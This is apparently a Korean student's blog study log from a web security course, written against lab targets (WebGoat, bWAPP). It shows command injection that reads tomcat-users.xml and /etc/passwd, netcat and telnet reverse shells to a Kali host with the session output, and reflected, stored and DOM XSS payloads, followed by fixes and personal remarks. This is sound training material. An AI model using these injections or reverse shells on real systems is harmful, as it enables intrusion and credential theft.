
3.1 ~ 3.4 는 예비군 및 개인 사정으로 결석
처음엔 무슨 말을 해야 하지, 다들 어색한 분위기였지만, 시간이 지나니 훨씬 자유로워진 분위기가 되어서 소중한 시간으로 자리잡았다. 이제서야 아이스브레이킹의 진정한 의미를 가지게 되었는데, 오늘이 마지막 아이스브레이킹이라는 것이 무척이나 아쉽다.

attack?Screen=6&menu=1100&HelpFile=AccessControlMatrix.help&SUBMIT=View
<form accept-charset="UNKNOWN" method="POST" name="form" action="attack?Screen=6&menu=1100" enctype="">You are currently viewing: <b>ConcurrencyCart.help</b><p>Select the lesson plan to view:
<select name="HelpFile">
<option>AccessControlMatrix.help</option>
<option>BackDoors.help</option>
<option>BasicAuthentication.help</option><option>BlindSqlInjection.help</option><option>ChallengeScreen.help</option><option>ClientSideFiltering.help</option><option>ClientSideValidation.help</option><option>CommandInjection.help</option><option>ConcurrencyCart.help</option><option>CrossSiteScripting.help</option><option>CSRF.help</option><option>CsrfPromptByPass.help</option><option>CsrfTokenByPass.help</option><option>DangerousEval.help</option><option>DBCrossSiteScripting.help</option><option>DBSQLInjection.help</option><option>DOMInjection.help</option><option>DOMXSS.help</option><option>DOS_Login.help</option><option>Encoding.help</option><option>FailOpenAuthentication.help</option><option>ForcedBrowsing.help</option><option>ForgotPassword.help</option><option>HiddenFieldTampering.help</option><option>HowToWork.help</option><option>HtmlClues.help</option><option>HttpBasics.help</option><option>HttpOnly.help</option><option>HttpSplitting.help</option><option>InsecureLogin.help</option><option>JavaScriptValidation.help</option><option>JSONInjection.help</option><option>Lesson_Plan_Template.help</option><option>LogSpoofing.help</option><option>MultiLevelLogin1.help</option><option>MultiLevelLogin2.help</option><option>NewLesson.help</option><option>OffByOne.help</option><option>PasswordStrength.help</option><option>PathBasedAccessControl.help</option><option>Phishing.help</option><option>ReflectedXSS.help</option><option>RemoteAdminFlaw.help</option><option>RoleBasedAccessControl.help</option><option>SameOriginPolicyProtection.help</option><option>SessionFixation.help</option><option>SilentTransactions.help</option><option>SoapRequest.help</option><option>SQLInjection.help</option><option>SqlNumericInjection.help</option><option>SqlStringInjection.help</option><option>StoredXss.help</option><option>ThreadSafetyProblem.help</option><option>TomcatSetup.help</option><option>TraceXSS.help</option><option>UncheckedEmail.help</option><option>UsefulTools.help</option><option>WeakAuthenticationCookie.help</option><option>WeakSessionID.help</option><option>WelcomeScreeen.help</option><option>WSDLScanning.help</option><option>WsSAXInjection.help</option><option>WsSqlInjection.help</option><option>XMLInjection.help</option><option>XPATHInjection.help</option>-------------------------</select>
<input name="SUBMIT" type="SUBMIT" value="View"><br><br></p><hr width="90%">ExecResults for 'cmd.exe /c type "C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\ConcurrencyCart.html"'<br>Output...<br> <br><div align="Center"> <br><p><b>Lesson Plan Title:</b> Shopping Cart Concurrency Flaw </p><br> </div><br><p><b>Concept / Topic To Teach:</b> </p><br><!-- Start Instructions --><br> Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently. <br><!-- Stop Instructions --><br><p><b>General Goal(s):</b> </p><br>For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.<br><br><br><br>Returncode: 0<br></form>
일반적으로는 지정된 경로에서 요청 파라미터로 전달된 파일명을 이용해서 해당 파일을 읽어서 응답으로 반환
with open("C:\FullstackLAB\workspace\(중간경로생략)\WebGoat\lesson_plans\English\ConcurrencyCart.html", 'r') as f:
return f.read()
해당 서비스에서는 아래와 같이 운영체제 명령어를 실행해서 파일 내용을 응답으로 반환
cmd.exe /c type "C:\FullstackLAB\workspace\(중간경로생략)\WebGoat\lesson_plans\English\ConcurrencyCart.html"
~~~~~~~ ~~ ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~ ~~~~
| | | | | |
| | | | 요청 파라미터를 통해 전달된 파일 이름 --+ |
| | | +-- 도움말 파일이 전장된 경로 |
| | +-- 매개변수로 전달된 텍스트 파일 내용을 콘솔에 출력하는 운영체제 명령어 |
| +-- 뒤에 나오는 명령어의 실행이 끝나면 명령 프롬프트를 종료 |
+-- 명령 프롬프트를 실행 서버 내부에 도움말 파일이 어떤 형태로 저장되어 있는지 모르도록 처리 --+
cmd.exe /c type "C:\FullstackLAB\workspace\(중간경로생략)\WebGoat\lesson_plans\English\ConcurrencyCart.html" & type C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
시스템 또는 사용자 정보가 들어 있는 파일 (여기에서는 임의로 지정했음)
인터셉터 설정

요청 파라미터 값 변조

POST /WebGoat/attack?Screen=6&menu=1100 HTTP/1.1
Host: host.pc:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://host.pc:8080
Authorization: Basic d2ViZ29hdDp3ZWJnb2F0
Connection: close
Referer: http://host.pc:8080/WebGoat/attack?Screen=6&menu=1100
Cookie: JSESSIONID=CE20DFAA4C3F3CAB346FD137F8BF33DA
Upgrade-Insecure-Requests: 1
HelpFile=AccessControlMatrix.help" %26 type C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml&SUBMIT=View
도움말 화면에서 서버 내부의 파일(tomcat-users.xml) 내용이 출력되는 것을 확인

PC에서 C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml 파일을 확인

beebox 가상머신에서 소스코드를 수정
bee@bee-box:~$ sudo gedit /var/www/bWAPP/commandi.php



bee@bee-box:~$ nslookup www.naver.com
Server: 192.168.40.2 ⇐웹 페이지를 통해서 요청한 결과와 동일한 내용이 출력되는 것을 확인
Address: 192.168.40.2#53 → 사용자 화면에서 전달한 값이 서버 내부에서 운영체제 명령어 실행에
사용되는 것을 추측할 수 있음
Non-authoritative answer:
www.naver.com canonical name = www.naver.com.nheos.com.
Name: www.naver.com.nheos.com
Address: 223.130.200.219
Name: www.naver.com.nheos.com
Address: 223.130.200.236
Name: www.naver.com.nheos.com
Address: 223.130.192.247
Name: www.naver.com.nheos.com
Address: 223.130.192.248
DNS Lookup: www.naver.com ; cat /etc/passwd
~~~~~~~~~~~~~~~~~
추가 명령어 ⇒ 접근할 수 없는 경로의 시스템 파일에 접근
Server: 192.168.40.2 ⇐ nslookup www.naver.com 명령의 실행 결과
Address: 192.168.40.2#53
Non-authoritative answer:
www.nsa.gov canonical name = nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net.
Name: e16248.dscb.akamaiedge.net
Address: 184.31.241.137
root:x:0:0:root:/root:/bin/bash ⇐ cat /etc/passwd 명령의 실행 결과
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
#1 kali 가상머신에서 특정 포트를 리스닝하는 서버를 실행
┌──(kali㉿kali)-[~]
└─$ nc -l -p 8282
#2 운영체제 명령어 삽입 취약점을 가지고 있는 웹 페이지에 아래와 같은 명령어를 입력 후 요청
www.naver.com ; nc 공격자주소 포트번호 -e /bin/bash
~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~
주소와 포트번호로 연결 연결에 성공하면 /bin/bash를 실행
#3 취약한 서버로 명령어를 전달 ⇒ beebox 서버에서 명령어가 실행되고 그 결과가 출력 ⇒ beebox 사용자는 알 수 없음
┌──(kali㉿kali)-[~]
└─$ nc -l -p 8282
whoami
www-data
pwd
/var/www/bWAPP
ls -al
total 1568
drwxrwxr-x 13 root www-data 12288 Mar 15 02:18 .
drwxrwxr-x 7 root www-data 4096 Nov 2 2014 ..
-rw-rw-r-- 1 root www-data 112 Nov 2 2014 666
drwxrwxr-x 2 root www-data 4096 Nov 2 2014 admin
-rw-rw-r-- 1 root www-data 2093 Nov 2 2014 aim.php
drwxrwxr-x 2 root www-data 4096 Nov 2 2014 apps
... 생략 ...
-rw-rw-r-- 1 root www-data 6517 Nov 2 2014 xss_stored_4.php
-rw-rw-r-- 1 root www-data 5229 Nov 2 2014 xss_user_agent.php
-rw-rw-r-- 1 root www-data 5318 Nov 2 2014 xxe-1.php
-rw-rw-r-- 1 root www-data 2530 Nov 2 2014 xxe-2.php
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:3e:ba:70 brd ff:ff:ff:ff:ff:ff
inet 192.168.40.130/24 brd 192.168.40.255 scope global eth0
inet6 fe80::20c:29ff:fe3e:ba70/64 scope link
valid_lft forever preferred_lft forever
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
... 생략 ...
avahi:x:109:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:110:122:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:111:123:Hardware abstraction layer,,,:/var/run/hald:/bin/false
bee:x:1000:1000:bee,,,:/home/bee:/bin/bash
mysql:x:112:124:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin
dovecot:x:114:126:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
smmta:x:115:127:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:116:128:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
neo:x:1001:1001::/home/neo:/bin/sh
alice:x:1002:1002::/home/alice:/bin/sh
thor:x:1003:1003::/home/thor:/bin/sh
wolverine:x:1004:1004::/home/wolverine:/bin/sh
johnny:x:1005:1005::/home/johnny:/bin/sh
selene:x:1006:1006::/home/selene:/bin/sh
postfix:x:117:129::/var/spool/postfix:/bin/false
proftpd:x:118:65534::/var/run/proftpd:/bin/false
ftp:x:119:65534::/home/ftp:/bin/false
snmp:x:120:65534::/var/lib/snmp:/bin/false
ntp:x:121:131::/home/ntp:/bin/false


#1 Kali 가상머신에 두 개의 터미널을 열어서 서비스를 실행
┌──(kali㉿kali)-[~]
└─$ nc -l -p 8282
┌──(kali㉿kali)-[~]
└─$ nc -l -p 9292
#2 Kali 가상머신에서 운영체제 명령어 삽입 취약점을 가진 웹 페이지에 Kali 서버쪽으로 연결하는 명령문을 전달
www.naver.com | sleep 1000 | telnet kali.linux 8282 | /bin/bash | telnet kali.linux 9292


bee@bee-box:~$ sudo gedit /var/www/bWAPP/commandi.php
function commandi($data) ⇐ 보안 등급에 따라 입력값을 필터링해서 반환하는 함수
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = commandi_check_1($data);
break;
case "2" :
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
function commandi_check_1($data)
{
$input = str_replace("&", "", $data); ⇐ 입력값에 & 또는 ; 이 포함되어 있으면 제거해서 반환
$input = str_replace(";", "", $input);
return $input;
}
function commandi_check_2($data)
{
return escapeshellcmd($data); ⇐ https://www.php.net/manual/en/function.escapeshellcmd.php
}
<form action="<?php echo($_SERVER["SCRIPT_NAME"]);?>" method="POST">
<p>
<label for="target">DNS lookup:</label>
<input type="text" id="target" name="target" value="www.nsa.gov"> ⇐ 도메인 주소를 입력
<button type="submit" name="form" value="submit">Lookup</button>
</p>
</form>
<?php
if(isset($_POST["target"])) ⇐ target 매개변수 설정 여부를 체크
{
$target = $_POST["target"];
if($target == "") ⇐ 값이 없는 경우
{
echo "<font color=\"red\">Enter a domain name...</font>";
}
else ⇐ 값이 있는 경우
{
echo "<p align=\"left\"><pre>" . shell_exec("nslookup " . commandi($target)) . "</pre></p>";
} ⇒ https://www.php.net/manual/en/function.shell-exec.php
}
?>
</div>
┌──(kali㉿kali)-[~]
└─$ gedit help.py
import subprocess
import sys
# return <file_path>'s contents using cat command
def return_file_contents(file_path):
try:
contents = subprocess.run(['cat', file_path], capture_output=True, text=True, check=True)
return contents.stdout ⇐ 불필요하게 운영체제 명령어를 실행해서 파일 내용을 반환
except subprocess.CalledProcessError as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usages: python help.py <file_path>")
sys.exit(1)
file_path = sys.argv[1]
file_contents = return_file_contents(file_path)
print(file_contents)
┌──(kali㉿kali)-[~]
└─$ python help.py ./help.py
import subprocess ⇐ cat 명령을 이용해서 ./help.py 파일을 읽어서 내용을 반환
import sys
# return <file_path>'s contents using cat command
def return_file_contents(file_path):
try:
contents = subprocess.run(['cat', file_path], capture_output=True, text=True, check=True)
return contents.stdout
except subprocess.CalledProcessError as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usages: python help.py <file_path>")
sys.exit(1)
file_path = sys.argv[1]
file_contents = return_file_contents(file_path)
print(file_contents)
import subprocess
import sys
# return <file_path>'s contents using cat command
def return_file_contents(file_path):
with open(file_path, 'r') as f:
return f.read()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usages: python help.py <file_path>")
sys.exit(1)
file_path = sys.argv[1]
file_contents = return_file_contents(file_path)
print(file_contents)

공격자가 입력한 스크립트 코드가 취약한 서버에 저장되고, 사용자가 조회 시 저장된 스크립트 코드가 그대로 사용자 브라우저로 전달되어 실행되는 경우
예) 게시판
게시판 글쓰기 글저장 페이지로 전달되어 그대로 DB에 저장
공격자 <script> alert('xss') </script> ~~~~~~~~~~~> <script> alert('xss') </script>
|
게시판 글조회 |
희생자 <script> alert('xss') </script> <~~~~~~~~~~~~~~~~~~~~+ 저장된 글이 그대로 브라우저로 전달
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
희생자 브라우저에서 공격자가 취약한 서버에 심어 놓은 스크립트 코드가 실행
한번 저장된 스크립트 코드는 불특정 다수의 사용자에게 지속적으로 전달되어 실행되게 됨
~~~~~~~~~~~~~~~~~~~~~~~~
Persistent XSS
입력값이 다음 화면 출력에 사용되는 경우, 입력값에 스크립트 코드 포함 여부를 확인하지 않고 그대로 화면 출력에 사용하면 입력값으로 전달된 스크립트 코드가 사용자 브라우저에서 실행
예) ID 중복 체크
ID 중복 체크 check.jsp
ID: abc<script>alert('xss')</script> 요청 파라미터로 전달된 ID값과 일치하는 값이 존재하는 확인 후 반환
[체크] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~> select * from members where id = 'abc<script>alert('xss')</script>'
조회 결과를 반환
|
"abc<script>alert('xss')</script>"는 존재 합니다./하지 않습니다. <~~~~~~~~+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
사용자 브라우저에서 실행
SMS, Email, 게시판 글쓰기 등
~~~~~~~~~~~~~~~~~~~~
위와 같은 동작이 가능한 것을 확인하면 공격자는 아래와 같은 공격 문자열을 만들어서 불특정 다수에게 전달
<a href="check.jsp?abc<script>alert('xss')</script>"> 많은 사람들의 클릭을 유도하는 링크 제목 </a>
~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| +-- 스크립트가 포함된 문자열
+-- XSS 취약점을 가지고 있는 페이지 주소
일반적으로 링크 주소는 단축 URL과 같은 방법을 통해서 링크 내용(주소)를 확인할 수 없도록 변형해서 전달
해당 링크를 클릭하면 해당 브라우저에서 링크에 숨어 있던 스크립트 코드가 실행되게 됨
개발자가 작성한 스크립트 코드의 취약점을 이용한 공격

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Insert title here</title>
<script>
const hash = window.location.hash.slice(1)
if (hash) {
window.location.href = decodeURIComponent(hash)
}
window.addEventListener('hashchange', function() {
window.location.href = decodeURIComponent(window.location.hash.slice(1));
});
</script>
</head>
<body>
<h1>DOM Based XSS 공격</h1>
<div>
<a id="first" href="#first">First 바로가기</a>
<a id="second" href="#second">Second 바로가기</a>
</div>
</body>
</html>
http://host.pc:8080/WebGoat/message.html#http://www.naver.com
⇒ 개발자가 만들어 놓은 스크립트 코드에 의해서 http://www.naver.com으로 자동으로 이동하는 것을 확인할 수 있음
⇒ <a href="http://host.pc:8080/WebGoat/message.html#공격자가만들어놓은페이지"> 꼭 보세요. </a>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
링크를 전달 받은 사람이 신뢰할 수 있는 사이트 주소
링크를 클릭하면 공격자가 만들어 놓은 페이지로 이동
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Insert title here</title>
<script>
const hash = window.location.hash.slice(1)
if (hash) {
document.write("<h1>" + decodeURIComponent(hash) + "</h1>");
} else {
document.write("<h1>메시지가 없습니다.")
}
</script>
</head>
<body>
</body>
</html>
http://host.pc:8080/WebGoat/message.html

개발자가 만든 스크립트 코드를 통해서 공격자의 코드가 실행
~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~
| |
| +-- <script>alert('xss')</script>
+-- document.write("<h1>" + decodeURIComponent(hash) + "</h1>");
1) 입력값에 브라우저에서 실행 가능한 코드(스크립트 코드)가 포함되어 있는지 확인
a) 오류 처리
b) 제거 후 사용
c) 안전한 문자로 대체해서 사용 ⇒ HTML 인코딩 처리
2) 출력값에 의도하지 않은(= 개발자가 작성하지 않은) 실행 가능한 코드가 포함되어 있는지 확인
a) 제거 후 출력
b) 안전한 문자로 대체해서 사용 ⇒ HTML 인코딩해서 출력
3) 필터링, 인코딩 작업을 수행할 때는 검증된 로직, 라이브러리, 프레임워크를 사용해서 구현
⇒ 다양한 입력 패턴이 존재하기 때문에 개인이 수작업으로 방어하는 것이 불가능
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
일반적으로 태그는 시작 태그와 종료 태그로 구성
종료 태그가 없는 경우 ⇒ 종료 태그를 생략 = 빈 태그 → <img src="/images/title.gif">
자기 종료(self-closing) 태그 형태로 표현 → <img src="/images/title.gif" />
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<div> <img src="/images/title.gif" width="100" height="100" /> </div>
~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~
시작 태그 | 종료 태그
+-- 시작 태그와 종료 태그 사이에는 내용(content = data)이 포함되며
내용으로는 텍스트(<div> abcd </div>) 또는 다른 태그가 올 수 있음
<태그이름 속성이름="속성값" 속성이름="속성값" ... > 내용 </태그이름>
~~~~~~~~~~~~~~~~~
속성(attribute)
태그를 처리하는데 필요로 하는 값, 부가적인 정보, 스타일 지정, 특정 이벤트에서의 동작을 설정
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
<img> 태그의 src 속성 | | onXxxx() 이벤트 핸들러 함수
| +--- width, height, style
+-- id, class 속성
ㄷㄷㄷ....
예비군 포함한 일정으로 4일간의 결석이 너무 크다..ㅎ
나중에 프로젝트 할 때 예비군 가는 것보다는 온라인 교육 때 갔다 오는 게 나을 것 같아서 가긴 했는데.. 생각보다 온라인 교육 빠지는 것이 많이 크네 ㅎㅎ
예비군 가기 전 계획은 끝나고 다시보기로 보면 되겠지였는데, 현실은 그렇지 못했다 ㅋㅋㅋ
파이썬도 장고부분부터 너무 어려워져서 많이 놓쳤는데..
그래서 새로 시작하는 과목부터는 잘따라가봐야지 했는데 아예 첨부터 놓쳣네..
다시볼 엄두가 안난다 하핳ㅎㅎ
여러분 온라인 교육 빠지지 마세요.. 엄청 커요 ㅠㅠ
낼부터 주말이니.. 한번 해봐야지.!!
파이팅!